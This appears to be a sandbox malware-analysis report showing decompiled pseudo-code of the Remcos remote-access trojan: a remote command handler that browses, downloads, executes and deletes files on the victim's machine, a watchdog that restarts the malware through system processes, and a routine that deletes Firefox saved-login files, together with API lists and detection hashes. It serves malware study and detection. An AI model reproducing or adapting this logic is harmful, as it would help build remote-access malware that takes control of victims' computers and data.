								E004020F6(0, _t680 - 0x18, _t629, E00406B7C( &_v548, 0x466550, 0, 2) + 1,  &_v564);
								_t281 = E00407AAD(0,  &_v544, _t629);
								_t629 = E00402F31( &_v496,  &_v568, _t674, 0x474ee0);
								E00402EA1(_t680 - 0x18, _t282, _t281);
								_push(0x51);
								E00404AA1(0x475058, _t282, __eflags);
								E00401FD8();
								E00401FD8();
								goto L25;
							} else {
								_t666 = _t664 - 1;
								if(_t666 == 0) {
									L00409057(0, 0x475028, _t629, E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 0)));
									E0040905C(0, _t680 - 0x18, _t629, __eflags, 0x475028);
									E0040783C();
									_t297 = E0041BC10( &_v492, E0040900E(0x475028,  &_v528, 0, E0040247C() - 2));
									_t629 = "Browsing directory: ";
									E004052FD(0, _t680 - 0x18 + 0x18 - 0x18, "Browsing directory: ", _t674, __eflags, _t297);
									E00402093(0, _t680 - 0x18 + 0x18 - 4, "Browsing directory: ", _t674, "i");
									E0041B441(0, 0x474ee0);
									E00401FD8();
									goto L59;
								} else {
									_t668 = _t666 - 1;
									if(_t668 == 0) {
										E0040417E(0,  &_v544, _t629, _t674, E00401FAB(E00401E65( &_v552, _t629, _t674, __eflags, 0)));
										ShellExecuteW(0, L"open", E00401F04( &_v548), 0, 0, 1);
										_t307 = E0041BC10( &_v476,  &_v548);
										_t629 = "Executing file: ";
										E004052FD(0, _t680 - 0x18, "Executing file: ", _t674, __eflags, _t307);
										E00402093(0, _t680 - 4, "Executing file: ", _t674, "i");
										E0041B441(0, 0x474ee0);
										E00401FD8();
										goto L58;
									} else {
										_t669 = _t668 - 1;
										if(_t669 == 0) {
											 *0x472b18 = 0;
											E004020F6(0, _t680 - 0x18, _t629, __eflags, E00401E65( &_v552, _t629, _t674, __eflags, 2));
											E0040417E(0, _t680, _t629, _t674, 0x466468);
											E0040417E(0, _t680 - 0xffffffffffffffe8, _t629, _t674, E00401FAB(E00401E65( &_v564, _t629, _t674, __eflags, 0)));
											E00401E65( &_v572, _t629, _t674, __eflags, 1);
											E00408A85(E0041BD3E(__eflags), _t629, 0x474ee0);
										} else {
											_t670 = _t669 - 1;
											if(_t670 == 0) {
												 *0x472b18 = 0;
												E004020DF(0,  &_v468);
												E004046F7( &_v396, _t674, 1);
												E004048C8( &_v400, _t670,  &_v396);
												_t324 = E00401E65( &_v560, _t629, _t674, __eflags, 3);
												_t718 = _t680 - 0x18;
												_t325 = E00401E65( &_v564, _t629, _t674, __eflags, 2);
												E00402F10(0, _t718, E00402F10(0,  &_v536, E00402F10(0,  &_v512, E00402F31( &_v560, E00401E65( &_v568, _t629, _t674, __eflags, 1), _t674, 0x474ee0), _t674, __eflags, _t325), _t674, __eflags, 0x474ee0), _t674, __eflags, _t324);
												_push(0x56);
												E00404AA1( &_v416, _t329, __eflags);
												E00401FD8();
												E00401FD8();
												E00401FD8();
												E0040417E(0,  &_v544, _t329, _t674, E00401FAB(E00401E65( &_v600, _t329, _t674, __eflags, 0)));
												_t338 = E0041BC10( &_v572,  &_v548);
												_t719 = _t718 - 0x18;
												_t640 = "Downloading file: ";
												E004052FD(0, _t719, _t640, _t674, __eflags, _t338);
												_t720 = _t719 - 0x14;
												_t672 = "i";
												E00402093(0, _t720, _t640, _t674, "i");
												E0041B441(0, 0x474ee0);
												E00401FD8();
												E00401F09();
												_t345 = E00401FAB(E00401E65( &_v612, _t640, _t674, __eflags, 0));
												_t722 = _t720 + 0x30 - 0x18;
												E0040417E(0, _t722, _t640, _t674, _t345);
												_t349 = E0043F7C7(_t347, E00401FAB(E00401E65( &_v620, _t640, _t674, __eflags, 4)), 0, 0xa);
												_push(_t640);
												_push(_t349);
												_t350 = E00407963( &_v468, __eflags);
												_t724 = _t722 + 0x2c;
												_push(0);
												__eflags = _t350;
												if(__eflags == 0) {
													E0040417E(0,  &_v516, _t640, _t674, E00401FAB(E00401E65( &_v624, _t640, _t674, __eflags)));
													_t354 = E0041BC10( &_v544,  &_v520);
													_t629 = "Failed to download file: ";
													E004052FD(0, _t724 - 0x18, "Failed to download file: ", _t674, __eflags, _t354);
													E00402093(0, _t724 - 4, "Failed to download file: ", _t674, "E");
													E0041B441(0, 0x474ee0);
													E00401FD8();
													E00401F09();
												} else {
													E0040417E(0,  &_v516, _t640, _t674, E00401FAB(E00401E65( &_v624, _t640, _t674, __eflags)));
													_t365 = E0041BC10( &_v544,  &_v520);
													_t629 = "Downloaded file: ";
													E004052FD(0, _t724 - 0x18, "Downloaded file: ", _t674, __eflags, _t365);
													E00402093(0, _t724 - 4, "Downloaded file: ", _t674, "i");
													E0041B441(0, 0x474ee0);
													E00401FD8();
													E00401F09();
													E00402093(0, _t724 - 4 + 0x30 - 0x18, "Downloaded file: ", _t674, 0x4660a4);
													_push(0x58);
													E00404AA1( &_v432, "Downloaded file: ", __eflags);
												}
												E00404E26(_t629);
												E00404EE2(0,  &_v416, _t629, _t672);
												L25:
												E00401FD8();
											} else {
												_t673 = _t670 - 1;
												_t745 = _t673;
												if(_t673 == 0) {
													E0040417E(0,  &_v544, _t629, _t674, E00401FAB(E00401E65( &_v552, _t629, _t674, _t745, _t673)));
													if((GetFileAttributesW(E00401F04( &_v548)) & 0x00000010) == 0) {
														_t379 = DeleteFileW(E00401F04( &_v548));
													} else {
														_t379 = E0041C1E3(E00401F04( &_v548), _t629);
													}
													_t747 = _t379;
													_t748 = _t379 & 0xffffff00 | _t747 != 0x00000000;
													if((_t379 & 0xffffff00 | _t747 != 0x00000000) == 0) {
														_t732 = _t680 - 0x18;
														E0041BC70(0, _t732,  &_v540);
														_push(0x55);
														E00404AA1(0x475058,  &_v540, __eflags);
														_t383 = E0041BC10( &_v544,  &_v568);
														_t733 = _t732 - 0x18;
														_t645 = "Unable to delete: ";
														E004052FD(0, _t733, "Unable to delete: ", _t674, __eflags, _t383);
														_t734 = _t733 - 0x14;
														_t614 = _t734;
														_push("E");
													} else {
														_t398 = E0041BC10( &_v516,  &_v540);
														_t736 = _t680 - 0x18;
														_t645 = "Deleted file: ";
														E004052FD(0, _t736, "Deleted file: ", _t674, _t748, _t398);
														_t734 = _t736 - 0x14;
														_t614 = _t734;
														_push("i");
													}
													E00402093(0, _t614, _t645, _t674);
													E0041B441(0, 0x474ee0);
													_t735 = _t734 + 0x30;
													E00401FD8();
													_t388 = E00401E65( &_v576, _t645, _t674, _t748, 1);
													_t629 = "1";
													_t617 = _t388;
													if(E00405B05("1") != 0) {
														E00409044(E00409028( &_v560, _t617, _t617) + 1);
														_push(0x2a);
														_t629 =  &_v572;
														E00401F13( &_v572,  &_v572, _t673, E00402F72(0,  &_v548,  &_v572, _t674));
														E00401F09();
														E0040417E(0, _t735 - 0x18,  &_v572, _t674, E00401F04( &_v576));
														L57:
														E0040783C();
													}
													L58:
													L59:
													E00401F09();
												}
											}
										}
									}
								}
							}
						}
					}
				}
				E00401E8D( &_v552, _t629);
				E00401FD8();
				E00401FD8();
				return 0;
			}



























































































































                                    0x00407c97
                                    0x00407c97
                                    0x00407ca7
                                    0x00407ca9
                                    0x00407cb1
                                    0x00407cb9
                                    0x00407cd3
                                    0x00407cdd
                                    0x00407ce2
                                    0x00407ced
                                    0x00407cf2
                                    0x00407cff
                                    0x00407d08
                                    0x00407d12
                                    0x00407d15
                                    0x00407d17
                                    0x0040845a
                                    0x0040845a
                                    0x00408460
                                    0x00408762
                                    0x0040877a
                                    0x0040878d
                                    0x00408793
                                    0x004087a9
                                    0x004087b3
                                    0x004087be
                                    0x004087cd
                                    0x00000000
                                    0x00408466
                                    0x00408466
                                    0x00408466
                                    0x00408469
                                    0x0040873a
                                    0x00408754
                                    0x00408758
                                    0x0040846f
                                    0x0040846f
                                    0x0040846f
                                    0x00408472
                                    0x0040868a
                                    0x00408690
                                    0x00408695
                                    0x0040869b
                                    0x004086a0
                                    0x004086aa
                                    0x004086bb
                                    0x004086c0
                                    0x004086c6
                                    0x004086d1
                                    0x004086df
                                    0x004086e4
                                    0x004086e7
                                    0x004086ed
                                    0x004086f8
                                    0x0040870e
                                    0x00408713
                                    0x00000000
                                    0x00408713
                                    0x00408478
                                    0x00408478
                                    0x00408478
                                    0x0040847b
                                    0x00408676
                                    0x00408481
                                    0x00408481
                                    0x00408481
                                    0x00408484
                                    0x00408530
                                    0x00408535
                                    0x0040853b
                                    0x00408540
                                    0x00408545
                                    0x00408548
                                    0x0040854a
                                    0x00408560
                                    0x00408565
                                    0x00408582
                                    0x004085a3
                                    0x004085a3
                                    0x004085a5
                                    0x0040865d
                                    0x00000000
                                    0x004085ab
                                    0x004085ab
                                    0x004085ab
                                    0x004085ae
                                    0x00408606
                                    0x00408615
                                    0x00408624
                                    0x0040862c
                                    0x00408632
                                    0x00408637
                                    0x00408637
                                    0x00000000
                                    0x004085b0
                                    0x004085b0
                                    0x004085b3
                                    0x004085c5
                                    0x004085d4
                                    0x004085e3
                                    0x004085eb
                                    0x004085f1
                                    0x004085f6
                                    0x00408639
                                    0x00408639
                                    0x00408645
                                    0x00408652
                                    0x00408652
                                    0x004085b3
                                    0x004085ae
                                    0x004085a5
                                    0x0040848a
                                    0x0040848a
                                    0x0040848a
                                    0x0040848d
                                    0x004084e9
                                    0x004084ee
                                    0x004084f4
                                    0x004084f9
                                    0x004084fe
                                    0x00408501
                                    0x00408503
                                    0x0040851c
                                    0x00408522
                                    0x00408660
                                    0x00408667
                                    0x0040866c
                                    0x00000000
                                    0x0040866c
                                    0x0040848f
                                    0x0040848f
                                    0x0040848f
                                    0x00408492
                                    0x004084ab
                                    0x004084c4
                                    0x004084ca
                                    0x004084d4
                                    0x004084d9
                                    0x00408718
                                    0x0040871d
                                    0x0040871d
                                    0x00408492
                                    0x0040848d
                                    0x00408484
                                    0x0040847b
                                    0x00408472
                                    0x00408469
                                    0x00407d1d
                                    0x00407d1d
                                    0x0040836f
                                    0x0040838b
                                    0x004083a7
                                    0x004083c1
                                    0x004083d1
                                    0x004083e0
                                    0x004083e2
                                    0x004083e7
                                    0x004083e7
                                    0x004083ea
                                    0x00408424
                                    0x00408428
                                    0x0040842e
                                    0x00408435
                                    0x0040843e
                                    0x004083ec
                                    0x004083ef
                                    0x004083fa
                                    0x00408400
                                    0x00408405
                                    0x00408447
                                    0x00408450
                                    0x00000000
                                    0x00407d23
                                    0x00407d23
                                    0x00407d26
                                    0x0040831e
                                    0x00408323
                                    0x00408329
                                    0x00408334
                                    0x00408341
                                    0x00408346
                                    0x0040834a
                                    0x0040834f
                                    0x00407d2c
                                    0x00407d2c
                                    0x00407d2f
                                    0x00408278
                                    0x0040828c
                                    0x004082a3
                                    0x004082a9
                                    0x004082b8
                                    0x004082c1
                                    0x004082db
                                    0x004082df
                                    0x004082e5
                                    0x004082ec
                                    0x004082f5
                                    0x004082fe
                                    0x00000000
                                    0x00407d35
                                    0x00407d35
                                    0x00407d38
                                    0x004081fa
                                    0x00408205
                                    0x0040820a
                                    0x00408230
                                    0x00408238
                                    0x00408240
                                    0x0040824f
                                    0x00408254
                                    0x00408260
                                    0x00000000
                                    0x00407d3e
                                    0x00407d3e
                                    0x00407d41
                                    0x0040817e
                                    0x00408197
                                    0x004081a5
                                    0x004081ad
                                    0x004081b5
                                    0x004081c4
                                    0x004081c9
                                    0x004081d5
                                    0x00000000
                                    0x00407d47
                                    0x00407d47
                                    0x00407d4a
                                    0x00408104
                                    0x00408115
                                    0x00408124
                                    0x00408140
                                    0x0040814b
                                    0x00408159
                                    0x00407d50
                                    0x00407d50
                                    0x00407d53
                                    0x00407eab
                                    0x00407eb1
                                    0x00407ebf
                                    0x00407ecc
                                    0x00407ed7
                                    0x00407edc
                                    0x00407ee9
                                    0x00407f23
                                    0x00407f29
                                    0x00407f32
                                    0x00407f3b
                                    0x00407f44
                                    0x00407f4d
                                    0x00407f68
                                    0x00407f75
                                    0x00407f7a
                                    0x00407f7d
                                    0x00407f85
                                    0x00407f8a
                                    0x00407f8d
                                    0x00407f95
                                    0x00407f9a
                                    0x00407fa6
                                    0x00407faf
                                    0x00407fc0
                                    0x00407fc5
                                    0x00407fcb
                                    0x00407fe6
                                    0x00407ff5
                                    0x00407ff6
                                    0x00407ff7
                                    0x00407ffc
                                    0x00408003
                                    0x00408004
                                    0x00408006
                                    0x00408090
                                    0x0040809d
                                    0x004080a5
                                    0x004080ad
                                    0x004080bc
                                    0x004080c1
                                    0x004080cd
                                    0x004080d6
                                    0x00408008
                                    0x00408019
                                    0x00408026
                                    0x0040802e
                                    0x00408036
                                    0x00408041
                                    0x00408046
                                    0x00408052
                                    0x0040805b
                                    0x0040806a
                                    0x0040806f
                                    0x00408078
                                    0x00408078
                                    0x004080e2
                                    0x004080ee
                                    0x00408307
                                    0x00408307
                                    0x00407d59
                                    0x00407d59
                                    0x00407d59
                                    0x00407d5c
                                    0x00407d78
                                    0x00407d93
                                    0x00407da9
                                    0x00407d95
                                    0x00407d9c
                                    0x00407d9c
                                    0x00407daf
                                    0x00407db8
                                    0x00407dba
                                    0x00407de1
                                    0x00407de6
                                    0x00407deb
                                    0x00407df2
                                    0x00407dff
                                    0x00407e04
                                    0x00407e07
                                    0x00407e0f
                                    0x00407e14
                                    0x00407e17
                                    0x00407e19
                                    0x00407dbc
                                    0x00407dc0
                                    0x00407dc5
                                    0x00407dc8
                                    0x00407dd0
                                    0x00407dd5
                                    0x00407dd8
                                    0x00407dda
                                    0x00407dda
                                    0x00407e1e
                                    0x00407e23
                                    0x00407e28
                                    0x00407e2f
                                    0x00407e3a
                                    0x00407e3f
                                    0x00407e44
                                    0x00407e4d
                                    0x00407e64
                                    0x00407e69
                                    0x00407e6b
                                    0x00407e7e
                                    0x00407e87
                                    0x00407e9b
                                    0x004087d2
                                    0x004087d2
                                    0x004087d7
                                    0x004087da
                                    0x004087de
                                    0x004087de
                                    0x004087de
                                    0x00407d5c
                                    0x00407d53
                                    0x00407d4a
                                    0x00407d41
                                    0x00407d38
                                    0x00407d2f
                                    0x00407d26
                                    0x00407d1d
                                    0x004087e7
                                    0x004087f3
                                    0x004087fc
                                    0x00408809

                                    APIs
                                    • SetEvent.KERNEL32(?,?), ref: 00407CB9
                                    • GetFileAttributesW.KERNEL32(00000000,00000000,?), ref: 00407D87
                                    • DeleteFileW.KERNEL32(00000000), ref: 00407DA9
                                      • Part of subcall function 0041C1E3: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C23E
                                      • Part of subcall function 0041C1E3: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C26E
                                      • Part of subcall function 0041C1E3: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C2C3
                                      • Part of subcall function 0041C1E3: FindClose.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C324
                                      • Part of subcall function 0041C1E3: RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,004752D8,004752F0,00000001), ref: 0041C32B
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                      • Part of subcall function 0041B441: GetLocalTime.KERNEL32(00000000), ref: 0041B45B
                                      • Part of subcall function 00404AA1: WaitForSingleObject.KERNEL32(?,00000000,0040547D,?,?,00000004,?,?,00000004,?,00474EF8,?), ref: 00404B47
                                      • Part of subcall function 00404AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,?,00474EF8,?,?,?,?,?,?,0040547D), ref: 00404B75
                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00408197
                                    • GetLogicalDriveStringsA.KERNEL32 ref: 00408278
                                    • SetFileAttributesW.KERNEL32(00000000,?,00000000,00000001), ref: 004084C4
                                    • DeleteFileA.KERNEL32(?), ref: 00408652
                                      • Part of subcall function 0040880C: __EH_prolog.LIBCMT ref: 00408811
                                      • Part of subcall function 0040880C: FindFirstFileW.KERNEL32(00000000,?,00466608,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088CA
                                      • Part of subcall function 0040880C: __CxxThrowException@8.LIBVCRUNTIME ref: 004088F2
                                      • Part of subcall function 0040880C: FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004088FF
                                    • Sleep.KERNEL32(000007D0), ref: 004086F8
                                    • StrToIntA.SHLWAPI(00000000,00000000), ref: 0040873A
                                      • Part of subcall function 0041C934: SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041CA29
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$Find$AttributesDeleteDirectoryEventFirstNextRemove$CloseDriveException@8ExecuteH_prologInfoLocalLogicalObjectParametersShellSingleSleepStringsSystemThrowTimeWaitsend
                                    • String ID: (PG$Browsing directory: $Deleted file: $Downloaded file: $Downloading file: $Executing file: $Failed to download file: $Unable to delete: $Unable to rename file!$XPG$XPG$XPG$XPG$open$NG
                                    • API String ID: 1067849700-181434739
                                    • Opcode ID: 791ae4dd4cda6c0688608385edce41fb685a0d9422e42894dc4fb899ed1cd28c
                                    • Instruction ID: 529742df37381a181c66b402b52b363a6ecced9de044d25e63bd84b3bb57de6b
                                    • Opcode Fuzzy Hash: 791ae4dd4cda6c0688608385edce41fb685a0d9422e42894dc4fb899ed1cd28c
                                    • Instruction Fuzzy Hash: F0428271A043016BC604FB76C9579AE77A5AF91348F80093FF542671E2EF7C9A08879B
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00412045 Relevance: 31.7, APIs: 7, Strings: 11, Instructions: 238threadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 85%
                                    			E00412045(void* __eflags) {
				char _v28;
				char _v36;
				void* _v40;
				char _v56;
				void* _v64;
				char _v76;
				void* _v84;
				char _v100;
				char _v108;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				long _v144;
				char _v148;
				char _v156;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t41;
				CHAR* _t44;
				void* _t45;
				void* _t51;
				void* _t72;
				intOrPtr _t83;
				void* _t84;
				void* _t92;
				void* _t93;
				void* _t110;
				long _t158;
				int _t184;
				long _t186;
				void* _t187;
				char* _t189;
				void* _t190;
				void* _t192;
				signed int _t193;
				void* _t195;
				void* _t202;

				_t195 = (_t193 & 0xfffffff8) - 0x8c;
				_push(_t187);
				_t41 = GetCurrentProcessId();
				_t178 = E00401FAB(0x4752f0);
				if(E004137C5(0x4752f0, _t42, "WD", _t41) != 0) {
					_t44 = E00401FAB(0x475418);
					_t184 = 0;
					_t45 = OpenMutexA(0x100000, 0, _t44);
					__eflags = _t45;
					if(_t45 == 0) {
						E004020DF(0x4752f0,  &_v76);
						E00401F04(0x4752d8);
						E0041C3D7( &_v76);
						E00401F86(0x4752f0,  &_v100);
						__eflags = E0041BF09( &_v100);
						if(__eflags != 0) {
							_t51 = E0040417E(0x4752f0,  &_v124,  &_v76, _t192, L"\\SysWOW64\\");
							_t180 = E0040417E(0x4752f0,  &_v56,  &_v76, _t192, E0043C01F(0x4752f0,  &_v124, __eflags, L"WinDir"));
							E00401F13( &_v108, _t53, _t187, E00402FA5( &_v36, _t53, _t51));
							E00401F09();
							E00401F09();
						} else {
							_t93 = E0040417E(0x4752f0,  &_v28,  &_v76, _t192, L"\\system32\\");
							_t180 = E0040417E(0x4752f0,  &_v56,  &_v76, _t192, E0043C01F(0x4752f0,  &_v28, __eflags, L"WinDir"));
							E00401F13( &_v108, _t95, _t187, E00402FA5( &_v132, _t95, _t93));
							E00401F09();
							E00401F09();
						}
						E00401F09();
						E0040C903( &_v136);
						E0040417E(0x4752f0,  &_v124, _t180, _t192, L"svchost.exe");
						E004127CB(0x4752f0,  &_v140, _t192, __eflags,  &_v128);
						E00401F09();
						E0040417E(0x4752f0,  &_v132, _t180, _t192, L"rmclient.exe");
						E004127CB(0x4752f0,  &_v148, _t192, __eflags,  &_v136);
						E00401F09();
						E0040417E(0x4752f0,  &_v140, _t180, _t192, L"fsutil.exe");
						E004127CB(0x4752f0,  &_v156, _t192, __eflags,  &_v144);
						E00401F09();
						_t72 = E004021FA( &_v160);
						__eflags = _t72;
						if(_t72 != 0) {
							while(1) {
								_push(0x472d64);
								_t189 = E00401FAB( &_v76);
								_t83 = E00401F04(E00401E65( &_v136, _t180, _t192, __eflags, _t184));
								_t180 = _t189;
								_t84 = E00418041(_t83, _t189);
								__eflags = _t84;
								if(_t84 != 0) {
									break;
								}
								_t184 = _t184 + 1;
								_t92 = E004021FA( &_v136);
								__eflags = _t184 - _t92;
								if(_t184 < _t92) {
									continue;
								}
								goto L11;
							}
							E00402093(0x4752f0, _t195 - 0x18, _t180, _t192, "Watchdog module activated");
							E00402093(0x4752f0, _t195, _t180, _t192, "i");
							E0041B441(0x4752f0, _t184);
							Sleep(0x7d0);
							_t158 =  *0x472d6c; // 0x0
							goto L15;
						}
						L11:
						E00402093(0x4752f0, _t195 - 0x18, _t180, _t192, "Watchdog launch failed!");
						E00402093(0x4752f0, _t195, _t180, _t192, "E");
						E0041B441(0x4752f0, _t184);
						CloseHandle( *0x472d74);
						E00406ADC( &_v144);
						E00401F09();
						E00401FD8();
						_push(3);
						_pop(1);
					} else {
						CloseHandle(_t45);
						_t202 = _t195 - 0x18;
						E00402093(0x4752f0, _t202, _t178, _t192, "Remcos restarted by watchdog!");
						_t203 = _t202 - 0x18;
						E00402093(0x4752f0, _t202 - 0x18, _t178, _t192, "i");
						E0041B441(0x4752f0, 0);
						E00402093(0x4752f0, _t203 + 0x18, _t178, _t192, "Watchdog module activated");
						E00402093(0x4752f0, _t203 + 0x18 - 0x18, _t178, _t192, "i");
						E0041B441(0x4752f0, 0);
						CreateThread(0, 0, E0041273C, 0, 0, 0);
						_t189 = "WDH";
						_t110 = E00413497(E00401FAB(0x4752f0), _t189,  &_v160);
						__eflags = _t110;
						if(_t110 == 0) {
							goto L1;
						} else {
							 *0x472d64 = OpenProcess(0x1fffff, 0, _v144);
							E004138F7(E00401FAB(0x4752f0), __eflags, _t189);
							_t158 = _v144;
							L15:
							L16();
							asm("int3");
							_push(_t189);
							_push(_t184);
							_t186 = _t158;
							L17:
							_t190 = OpenProcess(0x100000, 0, _t186);
							WaitForSingleObject(_t190, 0xffffffff);
							CloseHandle(_t190);
							__eflags =  *0x472d4b;
							if(__eflags != 0) {
								E00412045(__eflags, 0);
							}
							goto L17;
						}
						L19:
					}
				} else {
					L1:
				}
				return 1;
				goto L19;
			}













































                                    0x0041204b
                                    0x00412052
                                    0x00412054
                                    0x0041206c
                                    0x00412077
                                    0x00412086
                                    0x0041208c
                                    0x00412094
                                    0x0041209a
                                    0x0041209c
                                    0x0041212b
                                    0x00412135
                                    0x00412140
                                    0x00412149
                                    0x00412153
                                    0x00412155
                                    0x004121b8
                                    0x004121d3
                                    0x004121e7
                                    0x004121f3
                                    0x004121fc
                                    0x00412157
                                    0x00412163
                                    0x0041217e
                                    0x0041218f
                                    0x00412198
                                    0x004121a1
                                    0x004121a6
                                    0x00412205
                                    0x0041220e
                                    0x0041221c
                                    0x0041222a
                                    0x00412233
                                    0x00412241
                                    0x0041224f
                                    0x00412258
                                    0x00412266
                                    0x00412274
                                    0x0041227d
                                    0x00412286
                                    0x0041228b
                                    0x0041228d
                                    0x0041228f
                                    0x0041228f
                                    0x004122a2
                                    0x004122ab
                                    0x004122b0
                                    0x004122b4
                                    0x004122ba
                                    0x004122bc
                                    0x00000000
                                    0x00000000
                                    0x004122c2
                                    0x004122c3
                                    0x004122c8
                                    0x004122ca
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004122ca
                                    0x0041232f
                                    0x0041233e
                                    0x00412343
                                    0x00412350
                                    0x00412356
                                    0x00000000
                                    0x00412356
                                    0x004122cc
                                    0x004122d6
                                    0x004122e5
                                    0x004122ea
                                    0x004122f8
                                    0x00412302
                                    0x0041230b
                                    0x00412314
                                    0x00412319
                                    0x0041231b
                                    0x004120a2
                                    0x004120a3
                                    0x004120a9
                                    0x004120b3
                                    0x004120b8
                                    0x004120c3
                                    0x004120c8
                                    0x004120d7
                                    0x004120e2
                                    0x004120e7
                                    0x004120f9
                                    0x00412103
                                    0x00412113
                                    0x0041211a
                                    0x0041211c
                                    0x00000000
                                    0x00412122
                                    0x00412371
                                    0x0041237d
                                    0x00412383
                                    0x00412387
                                    0x00412387
                                    0x0041238c
                                    0x0041238d
                                    0x0041238e
                                    0x0041238f
                                    0x00412391
                                    0x0041239f
                                    0x004123a4
                                    0x004123ab
                                    0x004123b1
                                    0x004123b8
                                    0x004123bc
                                    0x004123bc
                                    0x00000000
                                    0x004123b8
                                    0x00000000
                                    0x0041211c
                                    0x00412079
                                    0x00412079
                                    0x0041207b
                                    0x00412322
                                    0x00000000

                                    APIs
                                    • GetCurrentProcessId.KERNEL32 ref: 00412054
                                      • Part of subcall function 004137C5: RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 004137D3
                                      • Part of subcall function 004137C5: RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040C0A0,00466C48,00000001,000000AF,004660A4), ref: 004137EE
                                      • Part of subcall function 004137C5: RegCloseKey.ADVAPI32(004660A4,?,?,?,0040C0A0,00466C48,00000001,000000AF,004660A4), ref: 004137F9
                                    • OpenMutexA.KERNEL32 ref: 00412094
                                    • CloseHandle.KERNEL32(00000000), ref: 004120A3
                                    • CreateThread.KERNEL32 ref: 004120F9
                                    • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 00412368
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseCreateOpenProcess$CurrentHandleMutexThreadValue
                                    • String ID: Remcos restarted by watchdog!$WDH$Watchdog launch failed!$Watchdog module activated$WinDir$\SysWOW64\$\system32\$fsutil.exe$rmclient.exe$svchost.exe$Cgt
                                    • API String ID: 3018269243-1204736976
                                    • Opcode ID: 000ae38850174b97c1399ee6b60621dfa2ebc95712bcc29a5392a76e8b9e9822
                                    • Instruction ID: aef6cbb152ba3a249881faee8374aaa0666faec850702ebd03b2b1169d7758aa
                                    • Opcode Fuzzy Hash: 000ae38850174b97c1399ee6b60621dfa2ebc95712bcc29a5392a76e8b9e9822
                                    • Instruction Fuzzy Hash: 6D719F3160430167C218FB72CD5B9BE77A4AF94708F40057FB546A60E2FFBC9949C69A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040BA7E Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 146fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 97%
                                    			E0040BA7E(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				char _v28;
				char _v52;
				char _v76;
				char _v100;
				char _v124;
				char _v148;
				struct _WIN32_FIND_DATAA _v468;
				void* __esi;
				void* __ebp;
				void* _t41;
				signed int _t55;
				signed int _t57;
				int _t71;
				int _t73;
				void* _t132;
				void* _t133;
				void* _t134;
				void* _t135;
				void* _t136;

				_t141 = __eflags;
				_t132 = __edi;
				_t86 = __ebx;
				E004020DF(__ebx,  &_v100);
				E004020DF(__ebx,  &_v76);
				E004020DF(__ebx,  &_v28);
				_t41 = E00402093(_t86,  &_v124, __edx, _t135, "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\");
				E00401FE2( &_v28, _t42, _t133, E004052FD(_t86,  &_v52, E0043C02A(_t86, __eflags, "UserProfile"), _t135, _t141, _t41));
				E00401FD8();
				E00401FD8();
				_t128 =  &_v28;
				_t134 = FindFirstFileA(E00401FAB(E00406C1E( &_v124,  &_v28, _t135, "*")),  &_v468);
				E00401FD8();
				_t142 = _t134 - 0xffffffff;
				if(_t134 != 0xffffffff) {
					while(1) {
						__eflags = FindNextFileA(_t134,  &_v468);
						if(__eflags == 0) {
							break;
						}
						__eflags = _v468.dwFileAttributes & 0x00000010;
						if((_v468.dwFileAttributes & 0x00000010) != 0) {
							_t55 = E0043FC50( &(_v468.cFileName), ".");
							__eflags = _t55;
							if(_t55 != 0) {
								_t57 = E0043FC50( &(_v468.cFileName), "..");
								__eflags = _t57;
								if(_t57 != 0) {
									E00401FE2( &_v100, _t59, _t134, E00406383(_t86,  &_v52, E00406C1E( &_v148,  &_v28, _t135,  &(_v468.cFileName)), _t132, _t135, __eflags, "\\logins.json"));
									E00401FD8();
									E00401FD8();
									_t128 = E00406C1E( &_v52,  &_v28, _t135,  &(_v468.cFileName));
									E00401FE2( &_v76, _t65, _t134, E00406383(_t86,  &_v148, _t65, _t132, _t135, __eflags, "\\key3.db"));
									E00401FD8();
									E00401FD8();
									_t71 = DeleteFileA(E00401FAB( &_v100));
									__eflags = _t71;
									if(_t71 == 0) {
										GetLastError();
									}
									_t73 = DeleteFileA(E00401FAB( &_v76));
									__eflags = _t73;
									if(_t73 == 0) {
										GetLastError();
									}
								}
							}
						}
					}
					E00402093(_t86, _t136 - 0x18, _t128, _t135, "\n[Firefox StoredLogins Cleared!]");
					E0040C126(_t86, _t128, _t135, __eflags);
					FindClose(_t134);
					goto L11;
				} else {
					FindClose(_t134);
